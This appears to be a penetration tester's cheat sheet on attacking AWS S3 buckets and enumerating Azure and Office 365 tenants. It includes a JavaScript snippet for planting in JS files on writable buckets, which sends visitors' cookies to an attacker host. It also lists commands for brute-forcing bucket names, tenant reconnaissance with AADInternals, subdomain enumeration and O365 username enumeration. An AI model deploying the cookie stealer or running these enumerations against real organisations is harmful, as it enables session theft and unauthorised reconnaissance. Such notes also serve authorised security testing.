S3 Buckets

Check for Writable S3 Buckets

  • If you can upload, then you can show impact by changing JS to steal cookies and other things.
    var xhr=new XMLHttpRequest();
    xhr.open("GET", "http://<IP>:8000/?"+document.cookie, true);
    xhr.send();
    

Check for Bucket Versioning

curl -I https://<BUCKETNAME>.s3.<REGION>.amazonaws.com //Look for x-amz-version-id
aws s3api list-object-versions --bucket <BUCKETNAME> --query "Versions[?VersionId!='null']" --no-sign-request

Brute Force Bucket Names (assuming patterns are found)

ffuf -u 'https://bucket-FUZZ.s3.amazonaws.com' -w fuzzingBucketWordlist.txt
Odds and ends that sometimes help

Check for AWS Account Number

aws sts get-access-key-info --access-key <AKIA Key>
Recon and Enumeration

Get basic information about the domain

https://login.microsoftonline.com/getuserrealm.srf?login=example.com&xml=1

AAD Internals

Get-AADIntLoginInformation -Domain <example.com>
Get-AADIntTenantID -Domain <example.com>
Invoke-AADIntReconAsOutsider -DomainName <example.com>

Azure Subdomain Enumeration

#github https://github.com/yuyudhn/AzSubEnum
python3 azsubenum.py -b domain -p permutations.txt -v

Username Enumeration

Github: https://github.com/0xZDH/Omnispray
python3 omnispray.py -m o365_enum_office -d example.com -uf ~/Documents/userList.txt